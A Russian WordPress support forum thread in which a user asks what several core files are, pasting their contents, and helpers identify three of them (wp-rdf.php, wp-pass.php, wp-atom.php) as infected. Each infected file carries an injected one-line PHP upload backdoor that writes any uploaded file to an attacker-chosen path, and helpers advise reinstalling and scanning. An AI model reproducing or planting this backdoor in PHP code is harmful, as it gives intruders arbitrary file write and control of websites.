Просмотр 12 ответов — с 1 по 12 (всего 12)
  • содержимое его тут приведите в тегах code.

    <?php
    if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}
    /**
     * Redirects to the RDF feed
     * This file is deprecated and only exists for backwards compatibility
     *
     * @package WordPress
     */
    
    require( './wp-load.php' );
    wp_redirect( get_bloginfo( 'rdf_url' ), 301 );
    
    ?>

    короче это вирусня — удаляйте на фиг.

    Спасибо, удалил!

    А не скажите что за файл wp-links-opml.php ?
    Вот содержимое:

    <?php
    /**
     * Outputs the OPML XML format for getting the links defined in the link
     * administration. This can be used to export links from one blog over to
     * another. Links aren't exported by the WordPress export, so this file handles
     * that.
     *
     * This file is not added by default to WordPress theme pages when outputting
     * feed links. It will have to be added manually for browsers and users to pick
     * up that this file exists.
     *
     * @package WordPress
     */
    
    require_once( dirname( __FILE__ ) . '/wp-load.php' );
    
    header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
    $link_cat = '';
    if ( !empty($_GET['link_cat']) ) {
    	$link_cat = $_GET['link_cat'];
    	if ( !in_array($link_cat, array('all', '0')) )
    		$link_cat = absint( (string)urldecode($link_cat) );
    }
    
    echo '<?xml version="1.0"?'.">\n";
    ?>
    <opml version="1.0">
    	<head>
    		<title><?php printf( __('Links for %s'), esc_attr(get_bloginfo('name', 'display')) ); ?></title>
    		<dateCreated><?php echo gmdate("D, d M Y H:i:s"); ?> GMT</dateCreated>
    		<?php
    		/**
    		 * Fires in the OPML header.
    		 *
    		 * @since 3.0.0
    		 */
    		do_action( 'opml_head' );
    		?>
    	</head>
    	<body>
    <?php
    if ( empty($link_cat) )
    	$cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0));
    else
    	$cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat));
    
    foreach ( (array)$cats as $cat ) :
    	/**
    	 * Filter the OPML outline link category name.
    	 *
    	 * @since 2.2.0
    	 *
    	 * @param string $catname The OPML outline category name.
    	 */
    	$catname = apply_filters( 'link_category', $cat->name );
    
    ?>
    <outline type="category" title="<?php echo esc_attr($catname); ?>">
    <?php
    	$bookmarks = get_bookmarks(array("category" => $cat->term_id));
    	foreach ( (array)$bookmarks as $bookmark ) :
    		/**
    		 * Filter the OPML outline link title text.
    		 *
    		 * @since 2.2.0
    		 *
    		 * @param string $title The OPML outline title text.
    		 */
    		$title = apply_filters( 'link_title', $bookmark->link_name );
    ?>
    	<outline text="<?php echo esc_attr($title); ?>" type="link" xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>" htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>" updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated) echo $bookmark->link_updated; ?>" />
    <?php
    	endforeach; // $bookmarks
    ?>
    </outline>
    <?php
    endforeach; // $cats
    ?>
    </body>
    </opml>

    с ним все в порядке.

    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Файл wp-rdf.php раньше использовался для вывода ленты новостей в формате RDF. Он был убран в версии 3.3 вместе с некоторыми другими файлами. Можно смело удалять.

    Файл wp-links-opml.php относится к менеджеру ссылок (который был отключён в версии 3.5 и на большинстве сайтов с тех пор не используется), он предназачен для экспорта ссылок в формате XML. Если не нужен, можно тоже удалить.

    Sergey, тут речь о том, что этот wp-rdf.php изменен и заражен. если судить по первой строчке, которая в гугле однозначно ведет на топики о вирусах.

    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Я отвечал на вопрос, для чего он вообще был раньше нужен 🙂

    Спасибо за ответы!
    С Вашего позволения задам еще три вопроса, так как в интернете нужный ответ не нашел.

    1) Что за файл wp-trackback.php, нужно ли вообще если на сайте комментарий не используется?

    <?php
    /**
     * Handle Trackbacks and Pingbacks Sent to WordPress
     *
     * @since 0.71
     *
     * @package WordPress
     * @subpackage Trackbacks
     */
    
    if (empty($wp)) {
    	require_once( dirname( __FILE__ ) . '/wp-load.php' );
    	wp( array( 'tb' => '1' ) );
    }
    
    /**
     * Response to a trackback.
     *
     * Responds with an error or success XML message.
     *
     * @since 0.71
     *
     * @param mixed  $error         Whether there was an error.
     *                              Default '0'. Accepts '0' or '1', true or false.
     * @param string $error_message Error message if an error occurred.
     */
    function trackback_response($error = 0, $error_message = '') {
    	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
    	if ($error) {
    		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
    		echo "<response>\n";
    		echo "<error>1</error>\n";
    		echo "<message>$error_message</message>\n";
    		echo "</response>";
    		die();
    	} else {
    		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
    		echo "<response>\n";
    		echo "<error>0</error>\n";
    		echo "</response>";
    	}
    }
    
    // Trackback is done by a POST.
    $request_array = 'HTTP_POST_VARS';
    
    if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) {
    	$tb_id = explode('/', $_SERVER['REQUEST_URI']);
    	$tb_id = intval( $tb_id[ count($tb_id) - 1 ] );
    }
    
    $tb_url  = isset($_POST['url'])     ? $_POST['url']     : '';
    $charset = isset($_POST['charset']) ? $_POST['charset'] : '';
    
    // These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
    $title     = isset($_POST['title'])     ? wp_unslash($_POST['title'])      : '';
    $excerpt   = isset($_POST['excerpt'])   ? wp_unslash($_POST['excerpt'])    : '';
    $blog_name = isset($_POST['blog_name']) ? wp_unslash($_POST['blog_name'])  : '';
    
    if ($charset)
    	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
    else
    	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
    
    // No valid uses for UTF-7.
    if ( false !== strpos($charset, 'UTF-7') )
    	die;
    
    // For international trackbacks.
    if ( function_exists('mb_convert_encoding') ) {
    	$title     = mb_convert_encoding($title, get_option('blog_charset'), $charset);
    	$excerpt   = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset);
    	$blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset);
    }
    
    // Now that mb_convert_encoding() has been given a swing, we need to escape these three.
    $title     = wp_slash($title);
    $excerpt   = wp_slash($excerpt);
    $blog_name = wp_slash($blog_name);
    
    if ( is_single() || is_page() )
    	$tb_id = $posts[0]->ID;
    
    if ( !isset($tb_id) || !intval( $tb_id ) )
    	trackback_response(1, 'I really need an ID for this to work.');
    
    if (empty($title) && empty($tb_url) && empty($blog_name)) {
    	// If it doesn't look like a trackback at all.
    	wp_redirect(get_permalink($tb_id));
    	exit;
    }
    
    if ( !empty($tb_url) && !empty($title) ) {
    	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
    
    	if ( !pings_open($tb_id) )
    		trackback_response(1, 'Sorry, trackbacks are closed for this item.');
    
    	$title =  wp_html_excerpt( $title, 250, '…' );
    	$excerpt = wp_html_excerpt( $excerpt, 252, '…' );
    
    	$comment_post_ID = (int) $tb_id;
    	$comment_author = $blog_name;
    	$comment_author_email = '';
    	$comment_author_url = $tb_url;
    	$comment_content = "<strong>$title</strong>\n\n$excerpt";
    	$comment_type = 'trackback';
    
    	$dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) );
    	if ( $dupe )
    		trackback_response(1, 'We already have a ping from that URL for this post.');
    
    	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type');
    
    	wp_new_comment($commentdata);
    	$trackback_id = $wpdb->insert_id;
    
    	/**
    	 * Fires after a trackback is added to a post.
    	 *
    	 * @since 1.2.0
    	 *
    	 * @param int $trackback_id Trackback ID.
    	 */
    	do_action( 'trackback_post', $trackback_id );
    	trackback_response( 0 );
    }

    2) wp-pass.php можно убрать?

    <?php
    if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}
    /**
     * Creates the password cookie and redirects back to where the
     * visitor was before.
     *
     * @package WordPress
     */
    
    /** Make sure that the WordPress bootstrap has run before continuing. */
    require( dirname(__FILE__) . '/wp-load.php');
    
    if ( get_magic_quotes_gpc() )
    	$_POST['post_password'] = stripslashes($_POST['post_password']);
    
    // 10 days
    setcookie('wp-postpass_' . COOKIEHASH, $_POST['post_password'], time() + 864000, COOKIEPATH);
    
    wp_safe_redirect(wp_get_referer());
    ?>

    3) wp-atom.php тоже с каким то редиректом, могу удалить?

    <?php
    if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}
    /**
     * Redirects to the Atom feed
     * This file is deprecated and only exists for backwards compatibility
     *
     * @package WordPress
     */
    
    require( './wp-load.php' );
    wp_redirect( get_bloginfo( 'atom_url' ), 301 );
    
    ?>

    Пока все, заранее спасибо!

    слушайте — судя по первым строчкам в этих файлах — они заражены. и вероятно у вас на сайте еще туева куча файлов движка таким же образом заражена. в данный момент вам надо переустановить wordpress (кнопкой переустановить в консоли), потом пройтись антивирусом и найти где еще эти строчки засели (может в плагинах и темах).

    Спасибо большое!

Просмотр 12 ответов — с 1 по 12 (всего 12)

Тема «wp-rdf.php что это такое?» закрыта для новых ответов.